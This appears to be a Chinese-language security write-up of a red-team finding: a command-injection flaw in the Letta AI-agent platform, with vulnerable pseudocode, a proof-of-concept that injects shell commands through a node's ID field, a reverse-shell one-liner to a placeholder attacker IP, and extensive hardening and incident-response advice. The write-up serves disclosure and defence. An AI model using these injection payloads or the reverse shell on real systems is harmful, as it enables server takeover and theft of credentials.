1. 项目概述:从一次内部安全演练说起
最近在内部红蓝对抗演练中,我们团队对一个新兴的AI智能体开发平台——Letta进行了安全评估。这个平台因其低代码、可视化编排AI工作流的能力,在内部一些创新项目中开始试用。评估的结果让人捏了把汗:我们成功构造了一个攻击载荷,在未授权的情况下,在Letta平台的后台服务器上执行了任意系统命令,并获取了服务器权限。这正是一个典型的远程代码执行漏洞。事后,我们梳理了完整的技术原理、漏洞复现过程,并给出了切实可行的加固建议。考虑到这类低代码/无代码AI平台正成为企业数字化转型的新宠,其安全问题影响面可能很广,我觉得有必要把这次“踩坑”与“填坑”的经验记录下来,分享给正在使用或评估类似平台的同行们。
简单来说,Letta平台允许用户通过拖拽组件的方式,构建复杂的AI智能体,例如自动处理工单、分析数据、生成报告等。其核心是将用户的可视化编排逻辑,转化为后台可执行的任务序列。而漏洞就潜藏在这个“转化”与“执行”的链条中。攻击者可以通过精心构造的输入,欺骗平台后端,将其误解为可执行的系统指令,从而突破应用层沙箱,直接操作底层服务器。对于企业而言,这意味着托管在平台上的所有AI工作流、访问的外部API密钥、乃至服务器内网环境都可能暴露。下面,我将从漏洞原理、详细复现、深度分析到防御加固,完整拆解这次发现。
2. 漏洞核心原理深度拆解
2.1 Letta平台执行引擎的工作机制
要理解漏洞,必须先搞清楚Letta平台是如何运行用户创建的智能体的。根据我们的逆向分析与代码审计,其执行流程可以抽象为以下几个关键阶段:
- 前端编排与序列化:用户在浏览器中拖拽“代码执行”、“系统调用”、“Python脚本”等类型的节点,并配置参数。这些配置最终会被序列化为一个JSON或YAML格式的任务描述文件。
- 描述文件解析:后端服务接收到任务描述文件后,由“解析引擎”进行加载和校验。这个引擎负责理解每个节点的类型、输入输出、以及节点之间的依赖关系。
- 动态代码生成与执行:对于涉及逻辑判断、数据转换或复杂计算的节点,平台往往需要动态生成并执行一些代码片段。例如,一个“条件分支”节点,其判断条件可能是一段Python表达式;一个“数据格式化”节点,可能需要调用一个JavaScript函数。这里就是第一个风险点:平台需要调用诸如Python的
eval()、exec(),或是JavaScript的eval()、Function()构造函数来执行这些动态生成的代码。 - 外部命令调用:某些高级节点,特别是与系统交互、文件处理、调用本地工具链相关的节点,其底层实现不可避免地需要执行操作系统命令。例如,“读取文件列表”、“调用外部Python脚本处理数据”、“安装Python包”等操作。平台通常会使用诸如
os.system、subprocess.Popen(Python)或child_process.exec(Node.js)等函数。这是第二个,也是更危险的风险点。
问题的核心在于,平台在将用户输入从“数据”转换为“代码”或“命令”的过程中,如果信任边界划分不清、过滤不严,就会产生注入漏洞。
2.2 漏洞触发点:不安全的反序列化与命令拼接
我们发现的漏洞主要属于“命令注入”类型,但其触发路径结合了Letta平台的一些特性。漏洞位于一个处理“自定义脚本节点”的功能模块中。该节点允许用户输入一小段Python代码,用于对工作流中的数据进行临时处理。
平台后端的处理逻辑伪代码如下:
def execute_custom_script(node_config, input_data): # node_config 来自前端序列化的任务描述 script_type = node_config.get('language', 'python') # 例如 ‘python' user_code = node_config.get('code', '') # 用户输入的代码 # 为了“增强”功能,平台允许在代码中引用一个预定义的“工具函数库” # 这个库的路径通过一个配置项动态生成 utils_path = generate_utils_path(node_config['id']) # 危险操作:直接将用户控制的 node_config['id'] 拼接到系统命令中 if script_type == 'python': # 准备一个临时文件来存放用户代码 tmp_file = create_temp_file(user_code) # 构建执行命令,意图是添加工具库路径到Python的sys.path command = f"python -c \"import sys; sys.path.insert(0, '{utils_path}'); exec(open('{tmp_file}').read())\"" # 执行命令 output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) return output.decode()漏洞原理分析:
- 用户可控输入点:
node_config['id']这个值理论上由前端生成,但攻击者可以通过抓包修改请求,完全控制这个id字段的内容。 - 危险的拼接:
utils_path = generate_utils_path(node_config['id'])这行代码,如果generate_utils_path函数只是简单地进行字符串拼接(例如f“/app/utils/{node_id}”),那么node_id就直接进入了后续生成的路径字符串。 - 注入到系统命令:最关键的一步在
command = f“python -c ...”这一行。utils_path变量被直接拼接到Python命令字符串中,且整个命令使用shell=True执行。这意味着,如果攻击者将node_id设置为legit_id; whoami #,那么拼接后的命令将变成:python -c “import sys; sys.path.insert(0, '/app/utils/legit_id; whoami #'); exec(...)”由于shell=True,分号;会被Shell解析为命令分隔符。于是,实际执行的命令就变成了两条:一条是原本的Python命令(会因为路径错误而失败),另一条就是whoami。#后面的内容被注释掉,保证了命令语法正确。
这就完成了从数据到系统命令的注入。攻击者可以将whoami替换为任意恶意命令,如反弹Shell、下载木马、窃取数据等。
注意:这里为了清晰说明原理,代码是极度简化的。实际场景中,注入点可能更隐蔽,例如隐藏在某个配置对象的深层属性中,或者经过了一层简单的编码(如Base64),但后端解码后未做过滤就直接使用。
2.3 与常见漏洞模式的关联
这个漏洞模式并不新鲜,它是“不安全的用户输入拼接至系统命令”这一经典安全问题的再现,与历史上著名的Struts2-045(CVE-2017-5638)等远程代码执行漏洞在本质上有相似之处:都是攻击者通过构造特定的输入数据,影响了服务端的执行逻辑,最终达到执行任意代码的目的。Struts2-045是通过恶意Content-Type头触发OGNL表达式注入,而Letta的这个漏洞是通过可控的节点ID触发Shell命令注入。这也提醒我们,即使在AI、低代码这些新兴领域,基础的安全编码原则依然是铁律。
3. 漏洞复现与POC构造详解
3.1 环境搭建与侦察
首先,你需要一个目标Letta环境。由于这是漏洞分析,我们假设你在授权测试的环境中进行。
- 信息收集:访问Letta平台,创建一个新的智能体工作流。尝试添加各种节点,特别是寻找任何允许输入“脚本”、“命令”、“路径”或“自定义代码”的节点。使用浏览器开发者工具(F12)的“网络”标签,观察当你保存或执行工作流时,前端向后端发送了哪些HTTP请求。重点关注请求的
Payload,其结构通常是一个复杂的JSON对象。 - 定位关键请求:你会发现,保存或触发执行智能体的请求,其Body中包含整个工作流的完整描述。这个描述中包含了每个节点的
id、type、config等信息。我们的目标就是修改这个描述。
3.2 POC构造步骤
以下是一个模拟的、用于概念验证的POC构造过程。请务必仅在你自己拥有完全控制权的实验环境中进行测试。
假设我们找到了一个CustomScriptNode(自定义脚本节点),其正常的请求片段如下:
{ "nodes": [ { "id": "node_abc123", // 原节点ID,由前端生成 "type": "CustomScriptNode", "config": { "language": "python", "code": "data['result'] = data['input'] * 2", "someOtherSetting": "value" } } ] }攻击步骤:
拦截并修改请求:使用Burp Suite、Charles等代理工具拦截包含上述JSON的POST请求。
构造恶意ID:将
id字段修改为注入命令的Payload。例如,我们想执行id命令来查看当前用户:“node_abc123; id; echo ”注意,我们用一个echo ”来闭合可能存在的引号,并确保JSON语法仍然有效。修改后的节点片段变为:{ “id”: “node_abc123; id; echo ”, “type”: “CustomScriptNode”, “config”: {...} // config部分保持不变 }这会导致后端
generate_utils_path函数生成类似/app/utils/node_abc123; id; echo的路径。当这个路径被拼接到Python命令字符串中时,在Shell解析下,id命令就会被执行。发送恶意请求:将修改后的请求转发给服务器。
观察结果:如果漏洞存在,服务器在执行该节点时,会输出系统命令
id的执行结果。这个结果可能会出现在节点的执行日志中,也可能直接导致请求报错但错误信息中包含命令输出,需要根据平台的具体实现来判断。
更隐蔽的POC(利用编码或特殊符号): 有经验的黑客会使用更隐蔽的注入方式。例如,使用反引号`command`或$(command)进行命令替换,或者将命令编码后注入。例如:“node_abc123$(id)echo ”或者,如果后端对路径进行了某种校验,尝试注入到config的某个看似无害的字段中,如果该字段最终也被拼接到命令里。
3.3 漏洞利用的潜在影响
一旦验证了命令注入点,攻击者可以做的事情非常多,危害极大:
- 服务器完全失陷:通过注入反弹Shell命令(如
bash -c ‘bash -i >& /dev/tcp/攻击者IP/端口 0>&1’),可以直接获得一个交互式的服务器Shell权限。 - 数据窃取:遍历服务器文件系统,窃取平台配置文件(含数据库密码、API密钥)、其他用户的工作流数据、上传的文件等。
- 内网横向移动:以该服务器为跳板,攻击同一内网的其他系统。
- 持久化后门:在服务器上种植木马、创建后门账户、设置定时任务(crontab)等。
- 资源滥用:利用服务器进行加密货币挖矿、发起DDoS攻击等。
对于Letta这样的AI智能体平台,风险尤其高,因为智能体通常被赋予访问外部API(如OpenAI、数据库、企业内网服务)的权限,这些凭证一旦泄露,会造成二次损失。
4. 深度防御:从开发到部署的加固建议
发现漏洞只是第一步,更重要的是如何修复和预防。这里给出的建议不仅适用于Letta平台,也适用于所有需要动态执行代码或命令的Web应用。
4.1 输入验证与净化(第一道防线)
永远不要信任用户输入。对于任何将要用于拼接命令、代码、路径的输入,必须进行严格的验证和净化。
- 白名单验证:对于像
node_id这样的字段,最佳实践是使用白名单机制。即,后端在创建节点时生成一个不可预测的唯一ID(如UUID),并存储在会话或数据库中。当后续请求携带此ID时,后端只验证该ID是否有效且属于当前用户/会话,而不是直接使用其字符串值进行拼接。这样,攻击者即使修改了ID,也无法通过验证。 - 严格格式检查:如果ID必须有一定格式(如
node_xxx),应使用严格的正则表达式进行校验,只允许字母、数字和下划线的特定组合,坚决拒绝任何Shell元字符(如; & | \$ ( ) < > [ ] { }` 空格、制表符、换行符等)。import re def validate_node_id(node_id): pattern = r‘^node_[a-zA-Z0-9_]{10,20}$’ # 示例:node_开头,后接10-20位字母数字下划线 if not re.match(pattern, node_id): raise ValidationError(“Invalid node ID format”) - 转义/编码:如果某些场景下必须使用用户输入构造系统命令参数(这本身是高风险设计),必须使用安全的函数对参数进行转义。在Python中,可以使用
shlex.quote()来安全地引用一个字符串,使其作为单个安全参数传递给Shell。import shlex safe_path = shlex.quote(user_input_path) # 但更好的做法是避免将 user_input_path 直接用于命令拼接
4.2 安全执行实践(第二道防线)
如果业务上确实需要执行动态代码或系统命令,必须采用更安全的方式。
避免使用
shell=True:在Python的subprocess模块中,shell=True是万恶之源,它会启动一个Shell进程来解析命令字符串,从而引入了命令注入的可能。尽可能使用shell=False,并将命令和参数作为列表传递。# 危险! subprocess.run(f“ls -l {user_input}”, shell=True) # 安全! subprocess.run([“ls”, “-l”, user_input], shell=False)即使
user_input包含特殊字符,在列表形式下,它也会被当作一个普通的参数传递给ls命令,而不会被解析为Shell指令。使用安全的API替代动态执行:对于动态代码执行,评估是否真的需要
eval或exec。很多时候,可以通过字典映射、策略模式或有限的DSL(领域特定语言)来实现。如果必须执行,应将其限制在严格的沙箱环境中。实施最小权限原则:运行Letta平台后端服务的操作系统账户,应该是一个权限极低的专用用户,不能是
root。确保该用户没有对关键系统目录的写权限,并且通过文件系统权限、SELinux/AppArmor等机制进行约束。
4.3 沙箱化与隔离(第三道防线)
对于AI智能体平台这种需要高灵活性的场景,沙箱是必不可少的安全措施。
- 容器隔离:将每个用户的工作流执行环境放在独立的Docker容器中。容器内只包含运行所需的最小化环境,并且以非特权用户运行。即使攻击者在容器内执行了命令,其影响也被限制在该容器内,无法触及宿主机或其他用户的数据。Kubernetes的Pod、安全沙箱容器(如gVisor)都是更高级的选择。
- 语言级沙箱:对于Python脚本执行,可以考虑使用
PyPy的沙箱功能(虽然不成熟),或更实际的方案,使用一个独立的、受控的“Worker服务”。这个Worker服务运行在隔离环境中,通过安全的RPC(如gRPC)接收需要执行的代码和输入数据,执行后返回结果。Worker服务内部可以禁用危险模块(如os,subprocess,ctypes)。 - 资源限制:对执行环境设置严格的资源限制(CPU、内存、执行时间、网络访问)。使用
ulimit、cgroups等技术,防止恶意代码耗尽系统资源或进行网络攻击。
4.4 安全开发生命周期(SDL)融入
- 安全编码培训:让开发团队充分理解命令注入、代码注入、反序列化等OWASP Top 10漏洞的原理和危害。
- 代码审计与自动化扫描:将安全代码扫描工具(如Semgrep for Python, Bandit)集成到CI/CD流水线中,自动检测代码中是否存在
subprocess调用、eval/exec使用等危险模式。 - 渗透测试与红蓝对抗:定期对产品进行专业的安全渗透测试,模拟真实攻击者的行为。本次Letta漏洞的发现正是内部红蓝对抗的成果。
5. 应急响应与漏洞修复实录
当我们确认漏洞后,立即启动了应急响应流程。这个过程本身也值得借鉴。
5.1 即时缓解措施
在开发出正式补丁并完成上线前,必须采取临时措施降低风险:
- WAF规则紧急上线:在Web应用防火墙(WAF)或网关层面,紧急添加规则,拦截含有特定Shell元字符(如分号、反引号、
$())的请求,特别是对智能体保存和执行接口的请求。这是一个快速但可能误杀的方案。 - 功能降级/关闭:如果漏洞出现在某个特定功能(如“自定义脚本节点”),可以考虑在管理后台临时禁用该类型节点的创建和执行,并在前端给出维护公告。
- 日志监控与告警:大幅提升相关服务接口的日志级别,监控所有执行命令的日志。编写脚本,实时分析日志中是否出现了异常的命令执行模式(如执行了
bash、curl、wget、/bin/sh等),并设置实时告警。
5.2 根本原因分析与修复
开发团队根据我们提供的POC和原理分析,定位到了问题代码文件。修复的核心步骤如下:
- 移除危险的命令拼接:重构了
generate_utils_path及相关逻辑。不再将节点ID直接用于路径生成,而是通过节点ID在数据库中查询其对应的、由系统预先生成的安全路径标识。 - 废除
shell=True:将所有的subprocess.check_output(command, shell=True)调用,重构为使用参数列表形式的subprocess.run(args, shell=False, ...)。对于需要动态构建的复杂命令,改为使用更安全的subprocess.Popen配合参数列表。 - 增加双层校验:在节点配置反序列化后,增加一个安全校验层,对所有即将进入执行流程的字符串字段,根据其预期用途(如作为ID、作为文件路径、作为纯文本参数)进行格式校验和净化。
- 引入安全工具函数库:团队创建了一个内部的安全工具模块,提供了
safe_system_call、safe_script_eval等封装函数,强制所有开发者在需要执行外部命令或动态代码时使用这些安全接口。
修复后的代码示例如下:
def safe_execute_python_script(node_id, user_code): # 1. 通过安全的ID查询预存路径,而非拼接 utils_dir = get_predefined_utils_dir_from_db(node_id) if not utils_dir: raise SecurityException(“Invalid node configuration”) # 2. 使用参数列表,避免shell tmp_file = create_temp_file(user_code) command_args = [ “python”, “-c”, f“import sys; sys.path.insert(0, ‘{utils_dir}’); exec(open(‘{tmp_file}’).read())” # 注意:这里utils_dir和tmp_file都是系统生成的,不包含用户输入 ] try: result = subprocess.run( command_args, shell=False, # 关键! capture_output=True, timeout=30, cwd=“/safe/working/dir” # 限制工作目录 ) if result.returncode != 0: raise ExecutionError(result.stderr) return result.stdout except subprocess.TimeoutExpired: raise ExecutionError(“Script execution timeout”)5.3 回归测试与上线
修复完成后,进行了全面的回归测试:
- 功能测试:确保所有正常的智能体编排和执行功能不受影响。
- 安全测试:使用我们提供的POC以及更复杂的变种Payload进行攻击测试,确认漏洞已被堵住。
- 压力测试:确保安全校验没有引入明显的性能瓶颈。
- 灰度发布:先将修复后的版本部署到小部分测试集群,观察一段时间无异常后,再全量上线。
6. 对AI智能体平台安全的延伸思考
Letta平台的这个漏洞是一个缩影,它暴露了在追求快速、灵活、强大的AI应用开发能力时,可能忽视的基础安全问题。对于整个AI智能体赛道,我有以下几点延伸思考:
- “低代码”不等于“低安全”:平台让用户无需编写传统代码即可构建应用,但这并不意味着平台开发者自身可以降低安全编码标准。相反,由于平台集中了更多能力,其安全漏洞的影响面会指数级扩大。
- AI能力引入新攻击面:智能体常常需要调用大语言模型API。攻击者可能通过“提示词注入”操纵AI的行为,间接导致其生成恶意内容或执行危险操作。平台需要设计机制来校验和过滤AI返回的结果,以及用户发送给AI的指令。
- 供应链安全:这些平台本身依赖大量的开源第三方库(如Python包)。需要严格管理依赖,定期扫描已知漏洞(CVE),避免引入存在漏洞的组件。
- 权限模型的复杂性:一个智能体工作流可能涉及多个步骤,每个步骤访问不同的资源(数据库、API、文件)。平台需要设计细粒度的、可审计的权限控制模型,确保智能体只能在授权范围内操作。
给平台使用者的建议:在选择此类平台时,应将安全性作为重要的评估维度。询问供应商关于安全开发生命周期、是否进行第三方渗透测试、是否有漏洞披露计划、以及数据隔离和执行沙箱的具体实现方案。对于在内部部署的平台,务必定期进行安全评估和更新。
这次对Letta平台的漏洞挖掘经历再次印证了一个道理:在技术快速迭代的浪潮中,安全永远是那块需要沉下心来打磨的基石。无论是多么智能、多么前沿的应用,如果建立在脆弱的基础之上,其风险都是不可估量的。作为技术人员,我们既要拥抱创新带来的效率提升,也必须时刻对潜在的安全风险保持敬畏和警惕。